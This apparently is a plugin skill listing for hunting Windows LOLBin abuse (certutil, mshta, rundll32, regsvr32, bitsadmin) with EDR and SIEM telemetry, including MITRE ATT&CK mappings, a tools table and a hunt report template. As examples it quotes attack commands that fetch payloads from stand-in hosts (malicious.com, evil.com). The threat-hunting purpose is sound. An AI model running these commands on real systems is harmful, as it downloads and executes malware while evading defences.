From cybersecurity-skills
Hunts for adversary abuse of legitimate Windows binaries (LOLBins) like certutil, mshta, and rundll32 using EDR/SIEM telemetry to detect defense evasion.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersecurity-skills:hunting-for-living-off-the-land-binariesThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
- When investigating fileless malware campaigns that bypass traditional AV
| Concept | Description |
|---|---|
| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |
| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |
| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |
| T1218.001 | Compiled HTML File (mshta.exe) |
| T1218.002 | Control Panel (control.exe) |
| T1218.003 | CMSTP |
| T1218.005 | Mshta |
| T1218.010 | Regsvr32 |
| T1218.011 | Rundll32 |
| T1197 | BITS Jobs (bitsadmin.exe) |
| T1140 | Deobfuscate/Decode Files (certutil.exe) |
| Proxy Execution | Using trusted binaries to execute untrusted code |
| Fileless Attack | Attack that operates primarily in memory without dropping files |
| Tool | Purpose |
|---|---|
| CrowdStrike Falcon | EDR telemetry and process tree analysis |
| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |
| Splunk | SIEM log aggregation and SPL queries |
| Elastic Security | Detection rules and timeline investigation |
| Sysmon | Detailed process creation and network logging |
| LOLBAS Project | Reference database of LOLBin capabilities |
| Sigma Rules | Generic detection rule format for LOLBins |
| Velociraptor | Endpoint forensic collection and hunting |
certutil.exe -urlcache -split -f http://malicious.com/payload.exe to download malware, bypassing web proxies that allow certutil traffic.mshta.exe, which is a signed Microsoft binary.rundll32.exe shell32.dll,ShellExec_RunDLL to proxy execution through a trusted binary.regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll bypassing application whitelisting.bitsadmin /transfer.Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Hypothesis: [Stated hypothesis]
LOLBins Investigated: [List of binaries]
Time Range: [Start] - [End]
Data Sources: [EDR, Sysmon, SIEM]
Findings:
- [Finding 1 with evidence]
- [Finding 2 with evidence]
Anomalies Detected: [Count]
True Positives: [Count]
False Positives: [Count]
IOCs Identified: [List]
Detection Rules Created/Updated: [List]
Recommendations: [Next steps]
npx claudepluginhub mukul975/anthropic-cybersecurity-skills --plugin cybersecurity-skillsHunts for adversary abuse of legitimate Windows binaries (LOLBins) like certutil, mshta, and rundll32 using EDR/SIEM telemetry to detect defense evasion.
Proactively hunts for adversary abuse of LOLBins (legitimate system binaries like certutil, mshta) in EDR/SIEM logs to detect evasion tactics.
Proactively hunts for adversary abuse of legitimate Windows system binaries (LOLBins) used to execute malicious payloads while evading detection. Useful during threat hunts targeting defense evasion techniques like T1218.